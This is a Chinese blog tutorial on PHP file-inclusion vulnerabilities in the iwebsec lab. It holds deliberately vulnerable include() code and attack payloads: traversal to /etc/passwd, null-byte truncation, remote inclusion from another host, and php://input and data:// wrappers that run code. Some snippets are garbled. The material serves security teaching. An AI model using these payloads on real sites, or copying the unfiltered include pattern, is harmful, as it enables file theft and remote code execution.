当前位置:

Web安全文件包含漏洞测试防止 黑客此漏洞.

访客 2024-01-26 822 0

Web安全:文件包含漏洞测试.文件包含的漏洞是程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include(),include_once(),require_once()等等),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以控制传到服务器中的数据,导致文件包含漏洞。
目录:Web安全:文件包含漏洞测试.文件包含漏洞的执行规则:文件包含漏洞测试:(1)本地文件包含.(2)本地文件包含绕过.(3)远程文件包含.(4)远程文件包含绕过.(5)php//filter伪协议.(6)php//input伪协议.(7)file://伪协议利用.(8)data://伪协议.
文件包含漏洞的执行规则:
  • 文件包含漏洞可以怎么理解,就是一个A文件包含着另一个B文件,将包含着B文件里面的内容,
  • 以这个网站的脚本代码去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
  • python,那就是python去执行文件里面的内容)
  • 测试使用的靶场是:iwebsec靶场
  • 搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391

  • 文件包含漏洞测试:(1)本地文件包含.
  • 原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
  • 进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){//可以查看没有进行任何过滤
  • $filename=$_GET['filename'];
  • include($filename);
  • }else{
  • exit();
  • }
  • ?>
  • 测试代码:(读取服务器中的test.tst文件,然后成功执行了文件中的代码.)
  • ?filename=test.txt
  • 测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
  • 然后再重新从一个文件,一步一步进行查看.
  • ?filename=../../../../../etc/passwd

  • (2)本地文件包含绕过.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename.".html");//可以看见只能使用指定后缀.(.html)
  • }else{
  • exit();
  • }
  • ?>
  • 绕过限制指定后缀的方法:使用()进行截断.
  • 测试代码:
  • ?filename=test.txt%00
  • 测试代码:
  • ?filename=../../../../../etc/passwd%00

  • (3)远程文件包含.远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename);//可以看见没有任何过滤,可以直接远程包含攻击
  • }else{
  • exit();
  • }
  • ?>
  • 测试代码:(添加另一个服务器的文件链接)
  • ?filename=http://192.168.0.105:801/bgxg.txt

  • (4)远程文件包含绕过.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename.".html");//可以看见只能使用指定后缀.(.html)
  • }else{
  • exit();
  • }
  • ?>
  • 绕过限制指定后缀的方法:
  • (1)#绕过(#)
  • (2)空格绕过(%20)
  • 测试代码:(添加另一个服务器的文件链接)(加%23【#】进行绕过限制)
  • ?filename=http://192.168.0.105:801/bgxg.txt#
  • 测试代码:(添加另一个服务器的文件链接)(加空格【%20】进行绕过限制)
  • ?filename=http://192.168.0.105:801/bgxg.txt

  • (5)php//filter伪协议.php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename);//可以看见没有任何过滤
  • }else{
  • exit();
  • }
  • ?>
  • 测试代码:
  • ?filename=php://filter/convert.base64-encode/resource=文件路径

  • (6)php//input伪协议.php//input任意代码执行;这种伪协议用于读取原始的HTTPPOST数据,可以用于处理上传的文件和表单数据.
  • 代码审计:
  • 代码1:(如果是GET方式,php://input就可以用了)
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename);//可以看见没有任何过滤
  • }else{
  • exit();
  • }
  • ?>
  • 代码2:(如果是POST方式,php://input就不能用了)
  • <?php
  • echofile_get_contents("php://input");
  • ?>
  • 测试代码:
  • ?filename=php://input
  • <?phpphpinfo();?>//显示服务器信息.

  • (7)file://伪协议利用.
  • 代码审计:
  • <?php
  • if(isset($_GET['filename'])){
  • $filename=$_GET['filename'];
  • include($filename);
  • }else{
  • exit();
  • }
  • ?>
  • 测试代码:(?filename=file:///文件路径)
  • ?filename=file:///etc/passwd

  • (8)data://伪协议.主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
  • ?filename=data://text/plain;base64,(base64编码后数据)
  • <?phpphpinfo();?>base64编码后PD9waHAgcGhwaW5mbygpOz8
  • base64编码在线工具:https://c.runoob.com/front-end/693/
  • 然后再把url编码变为%2b
  • 测试代码:
  • ?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  • 发表评论

    • 评论列表
    还没有人评论,快来抢沙发吧~